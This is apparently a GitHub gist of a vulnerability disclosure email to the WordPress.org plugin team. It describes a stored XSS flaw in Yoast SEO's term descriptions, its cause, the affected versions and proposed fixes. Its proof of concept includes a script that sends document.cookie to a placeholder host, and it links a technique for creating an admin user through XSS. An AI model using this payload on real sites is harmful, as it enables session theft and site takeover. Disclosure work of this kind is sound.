Navigation Menu

Skip to content

Instantly share code, notes, and snippets.

@sybrew

sybrew/email.txt Secret

Created July 7, 2019 01:04
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 2 You must be signed in to fork a gist
  • Save sybrew/2f53625104ee013d2f599ac254f635ee to your computer and use it in GitHub Desktop.
Save sybrew/2f53625104ee013d2f599ac254f635ee to your computer and use it in GitHub Desktop.
XSS exploit and CSRF-protection bypass report on Yoast SEO
Dear WordPress.org plugin review team,
The plugin:
Yoast SEO, https://wordpress.org/plugins/wordpress-seo/
Preamble:
As a direct "competitor" of Yoast's software, it is not in my best interest to help them with their integration. However, the gravity of this exploit was strong enough for me to put this into action and inform you.
I found this exploit because a user asked me why I didn't strip h1-tags in term descriptions in The SEO Framework plugin, and transformed them as-is: https://wordpress.org/support/topic/confusion-with-the-seo-framework-and-yoast-seo/#post-11702476
Under normal conditions, WordPress should strip all HTML from term descriptions.
Exploit details:
Yoast SEO enables unfiltered HTML input in term-description fields.
Under normal circumstances, this exploit only affects WordPress Multisite installations where untrusted administrators and editors on subsites may be present, among those who act much like WordPress.com.
Single-site WordPress installations aren't affected by default, because the assumed role requirements for editing terms is "Editor," who normally have the "unfiltered_html" capability.
However, (custom) taxonomies may have their capabilities adjusted, which could allow users of any capable role to engage in this exploit. Moreover, some site administrators may have removed the "unfiltered_html" capability from Editors. I will assume these as corner-cases, but they can't be ignored.
The cause:
Yoast SEO removes the "wp_kses_data" callback on term description input fields. This bypasses all "unfiltered_html" privilege-checks via kses' kses_init_filters().
Affected public versions:
Yoast SEO (formerly WordPress SEO) version 1.2.0 ~ 11.5 (latest).
Exploit instigation:
https://plugins.trac.wordpress.org/changeset/556159/ @ Yoast SEO 1.2.0 @ rev 556159
Acting method:
custom_category_descriptions_allow_html @ callback 'init'.
To this day, the method holds the same name, callback, and execution. Since its introduction, it has been touched by multiple developers at Yoast B.V., moving it around various objects during reworks.
Exploit location in trunk:
https://plugins.trac.wordpress.org/browser/wordpress-seo/trunk/admin/taxonomy/class-taxonomy.php#L204 @ rev 2081357
Permalink: https://plugins.trac.wordpress.org/browser/wordpress-seo/trunk/admin/taxonomy/class-taxonomy.php?rev=2081357#L204
Proof of concept (PoC):
1. Add any HTML script to any term description with Yoast SEO enabled, via any role that can add or edit terms.
2. The script now runs on:
a. edit-tags.php, in the "Description" column, the script may run. Yoast SEO also disables escaping there.
i. Disabling Yoast SEO will render this issue ineffective.
b. Depending on the theme (i.e., almost all of them), also on the front-end term-display.
i. Disabling Yoast SEO will not render this issue ineffective. The HTML will remain outputted as-is.
PoC test script:
<script>alert('XSS issue');</script>
PoC example script:
<script>
var xhr = new XMLHttpRequest();
xhr.open( 'POST', 'https://example.com/post_cookie.php', true );
xhr.setRequestHeader( 'Content-type', 'application/x-www-form-urlencoded' );
xhr.send( 'cookie=' + document.cookie );
</script>
I don't know how well the session-security is managed in WordPress. However, a more effective script would incur rendering actions in the background which generates nonces to create users with certain privileges: https://www.shift8web.ca/2018/01/craft-xss-payload-create-admin-user-in-wordpress-user/
Provisioned resolution:
1. Create a piece of code that strips ALL styles and scripts from ALL term descriptions; may they still be lingering around.
a. This must also run on ALL blogs on a WordPress Multisite network.
b. N.B. This exploit isn't negated after users uninstall Yoast SEO, we may want a third-party to be involved in creating a plugin that scans and cleans up the database.
2. A considerate reimplementation of the kses' removal.
3. Damage control: Inform users if and how this exploit might've impacted them. Keep in mind that this implementation was exploitable since 2012-06-11 (over 7 years ago). WordPress Multisite was introduced in 2010.
(Rough) CVSS calculation (9.9 base, 9.6 overall):
https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:L/E:F/RL:U/RC:C/CR:M/IR:M/AR:L/MAV:N/MAC:L/MPR:L/MUI:N/MS:C/MC:H/MI:H/MA:L
I assumed the user interaction required to be low (none) because the term published is rendered publicly. We can also assume site administrators to travel through their dashboard and access the term overview at any point independently.
I assumed the integrity to high because the scope is changed. Gaining super-administrator access allows the cracker to upload custom plugins with actable files to further penetrate the site or network and create backdoors. This would entail gaining (permanent) database access, which may contain customer information (e.g., via WooCommerce).
Report confidentiality:
I will keep this report private until a fix is released publicly.
Kind regards,
Sybre Waaijer
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment